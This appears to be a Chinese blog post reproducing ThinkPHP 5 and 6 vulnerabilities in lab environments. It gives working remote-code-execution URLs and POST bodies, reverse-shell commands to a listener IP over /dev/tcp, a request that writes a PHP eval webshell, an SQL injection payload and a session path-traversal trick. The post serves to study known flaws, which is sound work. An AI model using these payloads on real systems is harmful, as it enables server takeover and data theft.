Thinkphp是一个国内轻量级的开发框架,采用php+apache,在更新迭代中,thinkphp也经常爆出各种漏洞,thinkphp一般有thinkphp2、thinkphp3、thinkphp5、thinkphp6版本,前两个版本已经停止更新,一般也没有人再继续用,所以就不再做复现了,本篇文章主要介绍下thinkphp5、6的漏洞

Thinkphp5 5.0.22/5.1.29 远程代码执行漏洞

漏洞成因:由于没有正确处理控制器名,导致在网站没有开启强制路由的情况下(即默认情况下)可以执行任意方法,从而导致远程命令执行漏洞。

影响版本:

  • 5.0
  • 5.1

环境:vulhub

验证漏洞POC

http://127.0.0.1:8080/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

简单说一下POC:invokefunction调用call_user_func_array方法, call_user_func_array函数接受两个参数,第一个为函数名,第二个为函数参数数组,上面的意思是通过call_user_func_array函数调用system函数执行whoami命令。

此漏洞产生的关键原因在routeCheck函数中,关键代码如下


// 路由无效 解析模块/控制器/操作/参数... 支持控制器自动搜索        if (false === $result) {            $result = Route::parseUrl($path, $depr, $config['controller_auto_search']);        }//      var_dump($result['module']);        return $result;    }

上述代码中第3行的Route::parseUrl函数只是简单的将变量$path=index/think\app/invokefunction按斜杠符号'/'分组,并没有考虑符号反斜杠'\'的情况 ,result的值为如下所示:


$result = array[3]  $result[0] = (string) index  $result[1] = (string) think\app  $result[2] = (string) invokefunction

最终导致传入exec函数的控制器为think\app,而最后通过 $reflect->invokeArgs(isset($class) ? $class : null 来解析类和参数,从而导致命令执行漏洞。

反弹shell命令(需进行url编码)


http://127.0.0.1:8080/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=/bin/bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/192.168.111.128/9999%200%3E%261%22

或者写入一句话(同样url编码)


http://127.0.0.1:8080/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20%27%3C%3Fphp%20%40eval%28%24_POST%5B%22x%22%5D%29%3F%3E%27%20%3Eshell.php%20

ThinkPHP5 5.0.23 远程代码执行漏洞

漏洞成因:其5.0.23以前的版本中,获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。

影响版本

  • 5.0< ThinkPHP<5.0.23
  • 5.1< ThinkPHP<5.1.31

环境:vulhub

验证漏洞POC(这里需要注意加上Content-Type: application/x-www-form-urlencoded将请求以URL编码发送)


POST /index.php?s=captcha HTTP/1.1Host: 127.0.0.1:8080User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: closeContent-Type: application/x-www-form-urlencodedUpgrade-Insecure-Requests: 1
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id

反弹shell(需进行url编码)


_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=/bin/bash+-c+"bash+-i+>%26+/dev/tcp/192.168.111.128/9999+0>%261"

thinkphp 5.0.23 rce源码下载:https://github.com/top-think/framework/tree/v5.0.23

感兴趣的师傅可以看看

ThinkPHP5 SQL注入漏洞 && 敏感信息泄露

漏洞成因:本次漏洞存在于 Builder 类的 parseData 方法中。由于程序没有对数据进行很好的过滤,将数据拼接进 SQL 语句,导致 SQL注入漏洞 的产生。

影响版本: 

  • 5.0.13<=ThinkPHP<=5.0.15 
  • 5.1.0<=ThinkPHP<=5.1.5

环境搭建:这里vulnhub docker环境我在kali运行一直报错,就使用composer搭建环境吧

1、先下载composer


curl -sS https://getcomposer.org/installer | php

2、下载完成之后,要把composer.phar文件移动到bin目录里面,方便全局使用composer命令


mv composer.phar /usr/local/bin/composer

3、切换阿里云Composer镜像


composer config -g repo.packagist composer https://mirrors.aliyun.com/composer

4、获取think5.0.15代码


composer create-project --prefer-dist topthink/think=5.0.15 v5.0.15

下载源码后,需要对application/index/controller/Index.php内容进行修改,如下


namespace app\index\controller;
use app\index\model\User;
class Index{    public function index(){        $ids = input('ids/a');        $t = new User();        $result = $t->where('id', 'in', $ids)->select();        foreach($result as $row) {            echo "
Hello, {$row['username']}
";        }    }}

创建数据库信息如下


create database 1_ry;use 1_ry;create table users(  id int primary key auto_increment,  username varchar(50) not null,);insert into users(id,username) values(1,'1_ry');

然后在 /application/database.php配置数据库,并开启application/config.php中的app_debug和app_trace

配置完成后访问


http://127.0.0.1/v5.0.15/public/index.php/?username=)%20union%20select%20updatexml(1,concat(0x7,database(),0x7e),1)%23

这是一个比较鸡肋的SQL注入漏洞。必须存在一个这样的注入点才能利用,并且没开启 app_debug 是无法看到 SQL 报错信息的,限制很多

ThinkPHP v6.0.x 任意文件操作漏洞

漏洞描述:在开启Session的情况下可以导致创建任意文件以及删除任意文件,特定情况下可以getshell

影响版本:6.0.0<=thinphp<=6.0.2

环境同样使用composer下载源码搭建, PHP version ">= 7.4.0"


composer create-project --prefer-dist topthink/think=6.0.2 v6.0.2

默认是thinkphp6最新版本的,漏洞是已经修复了的,所以我们需要对程序进行降级


composer require topthink/framework:6.0.2

复现过程:

写入的session内容是由实际的后端业务逻辑来决定的,所以说只有苛刻的条件下才能写入webshell。

我们在app\controller\index.php中增加一些代码后,如下


namespace app\controller;use think\facade\Session;use app\BaseController;class Index extends BaseController{    public function index(){        Session::set('name','thinkphp');        return 1;    }}

thinkphp6默认是没有开启session功能的,我们需要在app/middleware.php文件中,取消session中间件的注释,设置为如图

搭建好环境后打开页面如图

抓包只需要构造PHPSESSID的值即可,长度为32

生成的session文件保存在\runtime\session

里面的内容经过了序列化操作


a:1:{s:4:"name";s:8:"thinkphp";}

如果要利用这个漏洞getshell的话,还要解决两个问题

  • session文件内容可控,如果后端需要有类似的Session::set('name', $_POST['a']);代码才可以利用
  • thinkphp的网站一般会把 /public 设置为网站的根目录,而生成的文件是在/runtime/session文件夹下面的,默认是访问不到的但是这个通过,即可绕过PHPSESSID=/../../../public/aaaaaaaaaaa.php

ThinkPHP v6.0.x 反序列化漏洞

影响版本:thinkPHP v6.0.0-6.0.3

环境:使用上一个漏洞的环境

版本安装后默认使用单应用模式部署,url访问受到路由模式的影响,为了使用方便,我们先要去/config/app.php  中将with_route => false

需要在根目录下的 /app/controller的index.php里面存在unserialize()函数且为可控点,例如存在


public function l_Ry(){        $a = $_POST['a'];        echo $a;        unserialize($a);    }

POST传参数a


http://127.0.0.1/v6.0.2/public/index.php/index/l_Ry

至此环境就搭建完成了

我跟着网上的资料大概分析了一下

  • https://blog.csdn.net/cosmoslin/article/details/123102811
  • https://xz.aliyun.com/t/9546#toc-16
  • https://blog.csdn.net/weixin_45794666/article/details/123237118
  • https://xz.aliyun.com/t/9405#toc-3

漏洞的一般起点在__destruct()函数,可利用的函数在vendor\topthink\think-orm\src\Model.php

中间的过程太繁杂,大体和参考的文章差不多就不写出来了,顺着往下找,最终利用点为


$value = $closure($value, $this->data);

完整的POP利用链为__destruct()——>save()——>updateData()——>checkAllowFields()——>db()——>$this->table . $this->suffix(字符串拼接)——>toString()——>toJson()-->toArray()——>getAttr()——>getData()——>getRealFieldName()——>getValue()

但最后无论是自己构造的poc还是参考文章的poc,全都复现失败

要是有师傅复现成功了希望能发篇文章让小弟学习学习。